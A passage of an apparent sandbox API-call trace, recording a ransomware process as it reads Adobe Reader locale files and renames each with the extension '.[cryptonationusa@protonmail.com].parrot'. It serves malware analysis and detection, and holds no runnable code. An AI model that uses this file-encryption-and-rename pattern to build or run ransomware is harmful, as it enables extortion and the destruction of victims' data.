| out: hHeap=0x5b0000) returned 1 [0253.652] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2b30020 | out: hHeap=0x5b0000) returned 1 [0253.692] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0253.693] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0253.704] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.704] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3400, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x3400, lpOverlapped=0x0) returned 1 [0253.705] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.707] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\BRdlang32.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\brdlang32.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\BRdlang32.EUQ.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\brdlang32.euq.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0253.712] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32dd8b0 | out: hHeap=0x5b0000) returned 1 [0253.712] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0253.712] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x331e648 | out: hHeap=0x5b0000) returned 1 [0253.714] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0253.715] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0253.716] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.716] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1e000, lpOverlapped=0x0) returned 1 [0253.722] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.727] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Checkers.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\checkers.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Checkers.EUQ.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\checkers.euq.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0253.730] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32dd8b0 | out: hHeap=0x5b0000) returned 1 [0253.731] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0253.731] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32ae588 | out: hHeap=0x5b0000) returned 1 [0253.733] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0253.733] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0253.776] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.776] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e600, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1e600, lpOverlapped=0x0) returned 1 [0253.779] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.780] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\DigSig.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\digsig.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\DigSig.EUQ.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\digsig.euq.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0253.785] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329d9f0 | out: hHeap=0x5b0000) returned 1 [0253.785] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0253.785] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e548 | out: hHeap=0x5b0000) returned 1 [0253.787] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0253.787] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0253.789] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.789] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x4a00, lpOverlapped=0x0) returned 1 [0253.790] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.790] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\DVA.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\dva.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\DVA.EUQ.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\dva.euq.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0253.794] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329d9f0 | out: hHeap=0x5b0000) returned 1 [0253.794] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0253.794] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3322688 | out: hHeap=0x5b0000) returned 1 [0253.796] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0253.796] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0253.798] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.798] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1a00, lpOverlapped=0x0) returned 1 [0253.799] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.799] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\eBook.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\ebook.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\eBook.EUQ.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\ebook.euq.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0253.803] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329d9f0 | out: hHeap=0x5b0000) returned 1 [0253.803] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0253.803] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x321e550 | out: hHeap=0x5b0000) returned 1 [0253.805] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0253.805] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0253.806] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.806] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9e00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x9e00, lpOverlapped=0x0) returned 1 [0253.807] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.808] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\EScript.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\escript.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\EScript.EUQ.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\escript.euq.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0253.811] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32dd8b0 | out: hHeap=0x5b0000) returned 1 [0253.811] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0253.812] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x332a6c8 | out: hHeap=0x5b0000) returned 1 [0253.851] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0253.851] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0253.869] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.869] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xe00, lpOverlapped=0x0) returned 1 [0253.870] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.870] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\IA32.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\ia32.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\IA32.EUQ.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\ia32.euq.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0253.875] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329d9f0 | out: hHeap=0x5b0000) returned 1 [0253.875] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0253.875] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x230e0b0 | out: hHeap=0x5b0000) returned 1 [0253.877] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0253.877] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0253.880] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.880] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x12e00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x12e00, lpOverlapped=0x0) returned 1 [0253.882] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.883] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\makeaccessible.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\makeaccessible.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\makeaccessible.EUQ.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\makeaccessible.euq.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0253.887] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32dd8b0 | out: hHeap=0x5b0000) returned 1 [0253.887] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0253.887] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e548 | out: hHeap=0x5b0000) returned 1 [0253.888] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0253.888] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0253.890] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.890] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x13e00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x13e00, lpOverlapped=0x0) returned 1 [0253.892] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.893] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Multimedia.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\multimedia.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Multimedia.EUQ.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\multimedia.euq.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0253.896] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32dd8b0 | out: hHeap=0x5b0000) returned 1 [0253.896] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0253.896] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e548 | out: hHeap=0x5b0000) returned 1 [0253.897] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0253.897] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0253.899] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.899] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2c00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2c00, lpOverlapped=0x0) returned 1 [0253.900] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.900] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\pddom.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\pddom.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\pddom.EUQ.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\pddom.euq.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0253.904] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329d9f0 | out: hHeap=0x5b0000) returned 1 [0253.904] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0253.904] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x331e648 | out: hHeap=0x5b0000) returned 1 [0253.906] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0253.906] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0254.025] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.025] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x81400, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x81400, lpOverlapped=0x0) returned 1 [0254.054] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.140] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\PPKLite.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\ppklite.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\PPKLite.EUQ.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\ppklite.euq.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0254.145] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32dd8b0 | out: hHeap=0x5b0000) returned 1 [0254.145] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0254.145] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0254.150] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0254.150] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0254.169] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.169] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x100000, lpOverlapped=0x0) returned 1 [0254.222] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.223] WriteFile (in: hFile=0x1b0, lpBuffer=0x31f64d0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x31f64d0*, lpNumberOfBytesWritten=0x18e8f4*=0x118, lpOverlapped=0x0) returned 1 [0254.226] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.226] WriteFile (in: hFile=0x1b0, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18e8f4*=0x100000, lpOverlapped=0x0) returned 1 [0254.236] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x14e118, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0254.236] CloseHandle (hObject=0x1b0) returned 1 [0254.237] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\RdLang32.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\rdlang32.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\RdLang32.EUQ.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\rdlang32.euq.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0254.242] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32dd8b0 | out: hHeap=0x5b0000) returned 1 [0254.242] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0254.243] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0254.327] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0254.327] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0254.328] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.329] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2c00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2c00, lpOverlapped=0x0) returned 1 [0254.331] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.332] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\ReadOutLoud.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\readoutloud.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\ReadOutLoud.EUQ.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\readoutloud.euq.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0254.336] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32dd8b0 | out: hHeap=0x5b0000) returned 1 [0254.336] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0254.336] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x331e648 | out: hHeap=0x5b0000) returned 1 [0254.338] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0254.338] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0254.339] 